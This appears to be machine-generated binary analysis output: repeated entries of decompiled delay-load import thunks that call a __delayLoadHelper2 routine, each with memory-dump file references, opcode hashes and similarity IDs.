0x0110d900
0x0110d908
0x0110d90f

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110D908

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f3aa118461e1a9b73dbed87301c56f16bf211d7342df466cad931385cb3da742
Instruction ID: 80e404324581ad58e96c005eaa90003a4158e330b9a45b3a87d1037861a0c3c3
Opcode Fuzzy Hash: f3aa118461e1a9b73dbed87301c56f16bf211d7342df466cad931385cb3da742
Instruction Fuzzy Hash: F5B092A5A98116AD268E62D97A05B3A0109C9D0A21320C40AB804C10C0E6C418000232

Uniqueness

Uniqueness Score: -1.00%

Function 0110D92F, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0110D92F() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0110DDAF(_t3, _t4, _t8, _t9, _t10, 0x112adc4, 0x1151050); // executed
				goto __eax;
			}

0x0110d900
0x0110d908
0x0110d90f

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110D908

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8c4574b57a0e44ad29f5934905e757806cb8c8a8eb2a64b1906741f9eb07ef4a
Instruction ID: d0fa0e8434b49518cdc1bceec9f1072f272ae4d0689cd585a862318f0e9ae9e4
Opcode Fuzzy Hash: 8c4574b57a0e44ad29f5934905e757806cb8c8a8eb2a64b1906741f9eb07ef4a
Instruction Fuzzy Hash: D4B012E1B58016BD368E72D97D05F3F010DD9D0911321C40EF404C10C0E7C01C040233

Uniqueness

Uniqueness Score: -1.00%

Function 0110D957, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0110D957() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0110DDAF(_t3, _t4, _t8, _t9, _t10, 0x112adc4, 0x1151060); // executed
				goto __eax;
			}

0x0110d900
0x0110d908
0x0110d90f

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110D908

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c9a924be936e584f05a6a2ffb435536c0e9d555d69d2867fe01d516407e7140b
Instruction ID: fb809861fdf7f1e3d3613ffffe2d238014641b5825a823c437f7c1b611b54ec3
Opcode Fuzzy Hash: c9a924be936e584f05a6a2ffb435536c0e9d555d69d2867fe01d516407e7140b
Instruction Fuzzy Hash: C1B092A1A9811AAD268E62D97905B3A0109D9D0911320840AB404C10C0E6801C000232

Uniqueness

Uniqueness Score: -1.00%

Function 0110E04F, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0110E04F() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0110DDAF(_t3, _t4, _t8, _t9, _t10, 0x112ae84, 0x1151034); // executed
				goto __eax;
			}

0x0110e059
0x0110e061
0x0110e068

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110E061

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4d7ef4e265c970bbab6061dad44a44368d185e7e0b02f8664a0001f875ebc0d8
Instruction ID: 2e77adc8d3b419dae5aaf89a71bc1cab79b72abffa8e5316f7ba1041005dd87d
Opcode Fuzzy Hash: 4d7ef4e265c970bbab6061dad44a44368d185e7e0b02f8664a0001f875ebc0d8
Instruction Fuzzy Hash: F7B092A675A022BC228E62962A01A3B0208CAD0950321C40AB510D40C0D7810C020032

Uniqueness

Uniqueness Score: -1.00%

Function 0110DA19, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0110DA19() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0110DDAF(_t3, _t4, _t8, _t9, _t10, 0x112ae24, 0x1151088); // executed
				goto __eax;
			}

0x0110da23
0x0110da2b
0x0110da32

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110DA2B

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 2e62568d6f520d0ded44d57a3a725ca2dfdfd1397c7acf18deb4edc925a162f5
Instruction ID: 63744234af1c3974f3e927941c8df4338d3a7c004f4200422f9f300316781860
Opcode Fuzzy Hash: 2e62568d6f520d0ded44d57a3a725ca2dfdfd1397c7acf18deb4edc925a162f5
Instruction Fuzzy Hash: C4B092A2A6C122BC2A4E62DA7D01A3A0108C9D0A10320810EB80090080D7840C850032

Uniqueness

Uniqueness Score: -1.00%

Function 0110DA34, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0110DA34() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0110DDAF(_t3, _t4, _t8, _t9, _t10, 0x112ae24, 0x1151090); // executed
				goto __eax;
			}

0x0110da23
0x0110da2b
0x0110da32

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110DA2B

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 7a9514390947a459a3665bbbc694ccf23c2c2e09700ff6ded9c1ba4ace3967b9
Instruction ID: 7902988f748707a5482c49fd430d02d1196aa0de5d0f7f16eb0209864424e16b
Opcode Fuzzy Hash: 7a9514390947a459a3665bbbc694ccf23c2c2e09700ff6ded9c1ba4ace3967b9
Instruction Fuzzy Hash: 7FB092A1A68022AC298E62EA3901B3A014CD9D0A10320801EB410C2480D7840C450132

Uniqueness

Uniqueness Score: -1.00%

Function 0110DA3E, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0110DA3E() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0110DDAF(_t3, _t4, _t8, _t9, _t10, 0x112ae24, 0x115108c); // executed
				goto __eax;
			}

0x0110da23
0x0110da2b
0x0110da32

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110DA2B

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 7620f254aa4f32593631b24e0356e11789f91a5903821cb75f397c6d6a8ec577
Instruction ID: f9e51567f4638c709cf6e550c0cf37ad5b4592cd893fb9ffde1fb8c63b4c016c
Opcode Fuzzy Hash: 7620f254aa4f32593631b24e0356e11789f91a5903821cb75f397c6d6a8ec577
Instruction Fuzzy Hash: 82B092A5A6C022FC298E62DA3A01A3A0158C9D0A20320C40EB800C2080D7840C450132

Uniqueness

Uniqueness Score: -1.00%

Function 0110DA52, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0110DA52() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0110DDAF(_t3, _t4, _t8, _t9, _t10, 0x112ae24, 0x1151084); // executed
				goto __eax;
			}

0x0110da23
0x0110da2b
0x0110da32

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110DA2B

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a6f2571fcab5b555af67c746cf81aefa16e51dbd4883f85d90e9e23fec014da5
Instruction ID: cd1701ec055d8747a2a30d8d6cb520d82051ae9179a7152b0a10199db892aa32
Opcode Fuzzy Hash: a6f2571fcab5b555af67c746cf81aefa16e51dbd4883f85d90e9e23fec014da5
Instruction Fuzzy Hash: F8B092A1A6C062BC298E62DA3A01B3A0148C9D0A10320C00EB800C1080D7840C420132

Uniqueness

Uniqueness Score: -1.00%

Function 0110DA48, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0110DA48() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0110DDAF(_t3, _t4, _t8, _t9, _t10, 0x112ae24, 0x1151074); // executed
				goto __eax;
			}

0x0110da23
0x0110da2b
0x0110da32

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110DA2B

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 73aa036c4d58b441b1fffd68488577acd36353fd314972dd413f601a32ac41ef
Instruction ID: dc2dc2c3d5412a42e006f5052f5d72ce667f88f19826c87aa051ac83097b1828
Opcode Fuzzy Hash: 73aa036c4d58b441b1fffd68488577acd36353fd314972dd413f601a32ac41ef
Instruction Fuzzy Hash: C4B092A1A68022AC298E62DA7A01A3A0148C9D0A10320C20EB400C1080D7840C420132

Uniqueness

Uniqueness Score: -1.00%

Function 0110DA7A, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0110DA7A() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0110DDAF(_t3, _t4, _t8, _t9, _t10, 0x112ae44, 0x1151178); // executed
				goto __eax;
			}

0x0110da84
0x0110da8c
0x0110da93

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110DA8C

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 161510f8eeaf540e93838c1e20194815625fa3fe1a3c8e058f96f82a4f88b475
Instruction ID: a19185bc16844d51f30e7a2ebe911e789caae23d101753a666fc16319457d4c8
Opcode Fuzzy Hash: 161510f8eeaf540e93838c1e20194815625fa3fe1a3c8e058f96f82a4f88b475
Instruction Fuzzy Hash: B0B012A175C123FD368E62E57D07E3A011CCDD0A14320C34EF800D00C0DBC01C810033

Uniqueness

Uniqueness Score: -1.00%

Function 0110DAB3, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0110DAB3() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0110DDAF(_t3, _t4, _t8, _t9, _t10, 0x112ae44, 0x1151170); // executed
				goto __eax;
			}

0x0110da84
0x0110da8c
0x0110da93

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110DA8C

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d5e417d469c39d9f36b3d46ab76ed38ebf7e06922b333bf0894b5b75789bde1f
Instruction ID: 9770f915160369fb43d771170782078ee696be8c7e38dd84dfa055fc377ca16c
Opcode Fuzzy Hash: d5e417d469c39d9f36b3d46ab76ed38ebf7e06922b333bf0894b5b75789bde1f
Instruction Fuzzy Hash: 0BB092A1668122AD358E62E97906A3A011CD9D4A10320814AB800C1180D7C00C410132

Uniqueness

Uniqueness Score: -1.00%

Function 0110DAA9, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0110DAA9() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0110DDAF(_t3, _t4, _t8, _t9, _t10, 0x112ae44, 0x115117c); // executed
				goto __eax;
			}

0x0110da84
0x0110da8c
0x0110da93

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110DA8C

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4b1214405f02acea42290969c395bf6a5984621f75944c64af1a6659c80a543c
Instruction ID: d3ba62225923b350b9f5fbe3ef5734d45de6dc955dfa1cc5e9d53f1ed7e87a21
Opcode Fuzzy Hash: 4b1214405f02acea42290969c395bf6a5984621f75944c64af1a6659c80a543c
Instruction Fuzzy Hash: 92B092A5658023AD258E62E97906B3A011CC9D8A10320C54AB800C1180D7C00C410132

Uniqueness

Uniqueness Score: -1.00%

Function 0110D716, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0110D716() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0110DDAF(_t3, _t4, _t8, _t9, _t10, 0x112ada4, 0x1151158); // executed
				goto __eax;
			}

0x0110d6f1
0x0110d6f9
0x0110d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110D6F9

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 55cb4a9b643a23f6680b017a4bfebf028c1c45c5444304ff15a76408314b8769
Instruction ID: c4da30138fe08a00ecf761e5554e6eb209c5fabf33be144f2a5f76aba1b5aa8f
Opcode Fuzzy Hash: 55cb4a9b643a23f6680b017a4bfebf028c1c45c5444304ff15a76408314b8769
Instruction Fuzzy Hash: 35B012E1658212FD36CE62EA7D01F3E110CCDD0911335C18EF804C11C0DBC41C540133

Uniqueness

Uniqueness Score: -1.00%

Function 0110D702, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0110D702() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0110DDAF(_t3, _t4, _t8, _t9, _t10, 0x112ada4, 0x1151160); // executed
				goto __eax;
			}

0x0110d6f1
0x0110d6f9
0x0110d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110D6F9

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: af3c9ead9e496ea0c606cbc10ce8b89c68d8362e53ee880b5830e9ce819aaee8
Instruction ID: 8be065fa45989aa3e4bc759e656ca69dba5cbadaf7883d76e3b2a5e640482a66
Opcode Fuzzy Hash: af3c9ead9e496ea0c606cbc10ce8b89c68d8362e53ee880b5830e9ce819aaee8
Instruction Fuzzy Hash: 29B092A5658216AD358E62E97D41A3A1108D9D0951320848AB804C1480D6841C100233

Uniqueness

Uniqueness Score: -1.00%

Function 0110D70C, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0110D70C() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0110DDAF(_t3, _t4, _t8, _t9, _t10, 0x112ada4, 0x115115c); // executed
				goto __eax;
			}

0x0110d6f1
0x0110d6f9
0x0110d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110D6F9

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 894b0a58b5d9b3e5c13c0934418b8ac438be93477dd00a52eee79d1dde1c4a1a
Instruction ID: 44cc752da6ce5aa4273612604eab53614ce6f5032db909432a3993014b1c9179
Opcode Fuzzy Hash: 894b0a58b5d9b3e5c13c0934418b8ac438be93477dd00a52eee79d1dde1c4a1a
Instruction Fuzzy Hash: 36B092A5659112AD258E62E97D01B3A110CC9D1911325C48AF804C1180D68418140133

Uniqueness

Uniqueness Score: -1.00%

Function 0110D734, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0110D734() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0110DDAF(_t3, _t4, _t8, _t9, _t10, 0x112ada4, 0x115114c); // executed
				goto __eax;
			}

0x0110d6f1
0x0110d6f9
0x0110d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110D6F9

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

